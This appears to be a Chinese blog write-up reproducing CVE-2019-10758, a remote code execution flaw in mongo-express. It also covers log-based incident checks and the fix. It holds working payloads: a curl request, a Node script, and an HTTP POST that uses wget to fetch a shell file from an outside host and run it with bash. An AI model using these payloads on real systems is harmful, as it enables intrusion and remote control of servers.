目录
概述
Mongo-express是MongoDB的数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面。
漏洞问题出在lib/bson.js中的toBSON()函数中,路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险。
影响版本
mongo-express < 0.54.0
漏洞复现
1、攻击链
1. 路由 /checkValid 可以接收用户的输入,并将其作为参数调用存在漏洞的 bson.toBSON 函数 2. bson.toBSON 使用了不安全的 vm 模块来执行用户输入的代码 3. 恶意代码在执行时成功沙盒逃逸,任意代码执行
2、利用代码
(1)curl exploit
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
(2)script exploit
node main.js
exploit = "this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"
var bson = require('mongo-express/lib/bson')
bson.toBSON(exploit)
3、反弹shell
通过wget方式远程下载反弹shell文件
POST /checkValid HTTP/1.1
Host: 192.168.52.131:8081
Content-Length: 203
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.52.131:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.52.131:8081/checkVali
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTBaVGd3WlRCbExXTXdaV0l0TkRJeFpTMDVPRFl3TFRRMFpqZ3hObVF4WmpkbU1pST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--f48c6e729d1a83e5acdd4acbdabdbd041b684e84; mongo-express=s%3A7Un_UuJXrhL8iEZ6xTpTqX5YPsi9U8is.ROmPXg%2Bo2C9hxhYkylb%2BHkptCE2WKpwdcdD9gMdCNTE
Connection: close
document=this.constructor.constructor%28%22return+process%22%29%28%29.mainModule.require%28%22child_process%22%29.execSync%28%22wget+http%3A%2F%2F192.168.52.133%3A8000%2Fshell.txt+-O+%2Ftmp%2Fshell%22%29
执行下载到本地的shell文件
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")
应急排查
1、通过docker logs排查
命令 ”dokcer logs -f 容器ID“,可以在次日志中搜索”checkValid“关键字
2、mongodb-express自身访问日志
morgan是express默认的日志中间件,也可以脱离express,作为node.js的日志组件单独使用。
但在此容器环境中,morgan模块是默认没有配置的,故不能通过mongodb-express本身的日志排查
加固建议
升级到mongo-express 0.54.0或更高版本
https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2
参考链接
cve-2019-10758 mongo-express rce 漏洞分析 - 灰信网(软件开发博客聚合)
cve-2019-10758 mongo-express rce 漏洞分析_whatday的博客-CSDN博客